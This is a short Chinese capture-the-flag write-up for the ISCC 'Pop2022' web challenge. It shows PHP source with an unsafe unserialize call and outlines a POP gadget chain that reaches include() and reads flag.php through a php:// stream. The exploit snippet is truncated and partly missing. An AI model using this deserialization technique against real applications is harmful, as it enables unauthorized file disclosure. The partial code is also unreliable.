ISCC,Web:Pop2022

单用类无法执行获取 flag.php,但是可以通过 POP 链构造获取

先看源码

Happy New Year~ MAKE A WISH
';

if(isset($_GET['wish'])){
    @unserialize($_GET['wish']);
}
else{
    $a=new Road_is_Long;
    highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/

class Road_is_Long{
    public $page;
    public $string;
    public function __construct($file='index.php'){
        $this->page = $file;
    }
    public function __toString(){
        return $this->string->page;
    }

    public function __wakeup(){
        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        }
    }
}

class Try_Work_Hard{
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Make_a_Change{
    public $effort;
    public function __construct(){
        $this->effort = array();
    }

    public function __get($key){
        $function = $this->effort;
        return $function();
    }
}
/**********************Try to See flag.php*****************************/ 

这里直接用 wakeup 

Try_Work_Hard 的 include 进行文件包含 

使用 php 数据流读取

page=$b;
$b->string=$c;
$c->effort=$d;

echo urlencode(serialize($a));

ISCC,Web:Pop2022_第1张图片

你可能感兴趣的:(php,开发语言,CTF)